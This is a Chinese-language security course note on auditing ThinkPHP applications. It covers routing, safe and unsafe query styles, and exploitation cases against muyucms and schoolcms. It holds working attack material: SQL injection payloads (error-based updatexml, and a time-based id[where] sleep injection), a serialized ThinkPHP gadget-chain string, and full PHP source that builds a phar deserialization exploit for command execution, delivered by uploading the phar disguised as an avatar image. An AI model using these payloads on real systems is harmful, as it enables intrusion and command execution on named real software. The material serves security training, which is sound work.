小迪安全110-tp框架,版本缺陷,不安全写法,路由访问,利用链

入口文件

前端页面显示文件

就是这串代码让我们看到前端的笑脸图

不用入口文件我们要访问这个文件就要按照开发手册的url访问模式

那就是index.php/index/index/index

对应的就是模块,控制器,操作,函数名

如果想要创建新模块,和操作格式要和图中的一样,但在controdler文件创建是类,才会自动加载class和上面的namspace这些内容

不安全写法

而tp框架有自己写sql语句的语法

这里创建一个新的类

明明规则,第一个必须大写

查询语句要导入一个新的类,就db,导入了才能使用

按照tp框架的安全sql查询方法

tp有有一个debug调试模式,开启就可以看到执行的sql语句,报错等等

在访问网站就看到了调试图标

在安全写法的时候,在后门拼接任何参数都没更改

按照手册安全写法,写接受数据的语句

这样就可以传入id参数查询数据

官方的提交方式,那这里会不会有sql注入

没有,根本不会带入查询,这是tp的安全写法内置过滤

这就是框架,只要按照开发手册的写法,不是框架的问题就不会有漏洞,因为在执行过程中或者类里面就有过滤代码

如果不按照手册写

例如写成这样

)%20and%201=(updatexml(1,concat(0x3a,(select%20user())),1))%23

这就造成了sql注入

这里不按照官方写法,调试也检测不到sql语句,也容易产生安全问题

tp版本漏洞反序列化phar漏洞

还有一种是版本安全问题

或者自己二开的时候写了不安全代码

比如写成这样,exists是确定文件存不存在,这里创建一个文件,由于触发的目录是public目录,所以文件要创建在public目录下

文件存在,那这里因为有exists函数去操作文件了,就可以造成phar反序列化漏洞

O:27:"think\process\pipes\Windows":1:{s:34:"think\process\pipes\Windowsfiles";a:1:{i:0;O:17:"think\model\Pivot":3:{s:17:"think\Modeldata";a:1:{s:5:"smi1e";s:2:"id";}s:21:"think\ModelwithAttr";a:1:{s:5:"smi1e";s:6:"system";}s:9:"*append";a:1:{s:5:"smi1e";s:1:"1";}}}}

而生成这个pyload是基于

这两个目录生成,复制出来

这里调用的链也是tp的链

就要把生成phar的类变成tp调用链

把class那个类换成tp调用类

就是这个文件的类

之后还要从另一个文件复制点东西

复制过来之后,把第二值赋予一个变量a,。任何倒数三行变量也改成变量啊。还要把这些内容阔在namespace里面,

这里把执行的命令改成calc,就不需要变量system传递参数了,所以删掉

源码

php 复制代码
<?php
namespace think\process\pipes {
    class Windows
    {
        private $files;
        public function __construct($files)
        {
            $this->files = array($files);
        }
    }
}

namespace think\model\concern {
    trait Conversion
    {
        protected $append = array("smi1e" => "1");
    }

    trait Attribute
    {
        private $data;
        private $withAttr = array("smi1e" => "system");

        public function get()
        {
            $this->data = array("smi1e" => "calc");
        }
    }
}
namespace think {
    abstract class Model
    {
        use model\concern\Attribute;
        use model\concern\Conversion;
    }
}

namespace think\model{
    use think\Model;
    class Pivot extends Model
    {
        public function __construct()
        {
            $this->get();
        }
    }
}
namespace {
    $Conver = new \think\model\Pivot($parameter);
    $a= new \think\process\pipes\Windows($Conver);
    $phar = new Phar("x.phar"); //后缀名必须为phar
    $phar->startBuffering();
    $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
    $phar->setMetadata($a); //将自定义的meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
    $phar->stopBuffering();
}

?>

wc,为什么生成phar.phar?

不管了,放搭配pubuli目录下

直接这个格式访问,命令执行

这就是tp的版本漏洞,反序列化phar类型,只要有这种去文件操作类的函数,上传上去的哪怕是图片也能命令执行

muyucms反序列化漏洞

源码搞到了,但必须是数据库5.6,小皮没有

tp版本。

入口点

application目录

思路

myyucms

tp5.0.24

1.找到tp版本存在的漏洞

2.找不安全的写法(sql注入,文件上传等等)

找不安全的写法(sql注入,文件上传等等)

就去对比官方手册看危险操作有没有严格按照官方手册去写

全局搜搜sql函数,因为是tp框架,看不到直接的selecr这些,所以搜where

这个地方直接写的等号,没有按照安全写法

变量uid是从s形的id的userid获取

再往下看,更危险的写法

这里就要记录,出发文件,函数名,要求条件

确定一下访问路径

admin/login/login.html

这就大概猜出来他的访问模式

admin模块,login控制,login操作

所以触发漏洞地方的访问方式

bbs/user/xiaodidel

触发到了

在满足条件ids=0 任何id就是注入点

注入成功

找到tp版本存在的漏洞

案例二schoolcms版本漏洞问题

3.23版本

参考文章

https://www.freebuf.com/articles/web/345544.html

大概看了一下处理流程,最后是在进行格式定义的不进入intval转义那条代码,进入str的就可以使用传入数组的方式绕过过滤

主要漏洞函数点find、

全局变量搜一下

拼接一些路徑

http://school.cn:90/admin.php?m=Admin&c=Index&a=Index

m=Admin&cArticle&a=SaveInfo

http://school.cn:90/admin.php?m=Admin&c=Article&a=SaveInfo&id=1

ok,但这个注入是不会回显报错语句,所以用到盲注,然后参考文档也是要用到数组的传递方式,不进入intval处理函数

这里看数据库监控执行的语句没有id=

最好在加一个

最后pyload

http://school.cn:90/admin.php?m=Admin&c=Article&a=SaveInfo&id[where]=id=1%20and%20sleep(3)#

延时了,存在盲注

案例三muyucms 反序列化漏洞

版本

然后生成phar文件,去找文件的操作函数

file_exists(),fopen(),file_get_contents(),file()

就是这里

然后构造一下访问目录

然后就注册账户,上传phar报的png

直接就phar:// 头像文件

反序列化命令执行!!

成了!

案例四,学员提供源码

jian

kang

相关推荐
Guheyunyi1 天前
智慧消防管理系统如何重塑安全未来
大数据·运维·服务器·人工智能·安全
中科固源1 天前
应用层|低空应用安全的 “精工锻造者”,中科数测以多工具矩阵赋能应用从开发到运维的全周期安全
安全·网络安全·低空
八月的雨季 最後的冰吻1 天前
FFmepg-- 32-ffplay源码- PacketQueue 的线程安全机制 以及 serial 字段的作用
安全·ffmpeg
JZC_xiaozhong1 天前
多系统并行的权限治理难题:如何消除“权限孤岛”与安全风险?
安全·数据安全·etl工程师·iam·数据集成与应用集成·多系统权限管理·统一数据集成
北京聚信万通科技有限公司1 天前
传输协议:AS3
服务器·网络·安全·电子数据交换·as3
互亿无线明明1 天前
国际金融短信:如何为跨境金融业务构建稳定安全的消息通知链路?
java·python·安全·eclipse·django·virtualenv·pygame
白帽子凯哥哥1 天前
转行网络安全学习计划与报班建议
学习·安全·web安全·网络安全·渗透测试·漏洞挖掘·网安培训
ReaF_star1 天前
【基线】关于Debian的一些简单安全配置及验证
学习·安全·debian
kali-Myon2 天前
快速解决 Docker 环境中无法打开 gdb 调试窗口以及 tmux 中无法滚动页面内容和无法选中复制的问题
运维·安全·docker·容器·gdb·pwn·tmux
黑客思维者2 天前
为什么Linux常被提权操作?
linux·网络·安全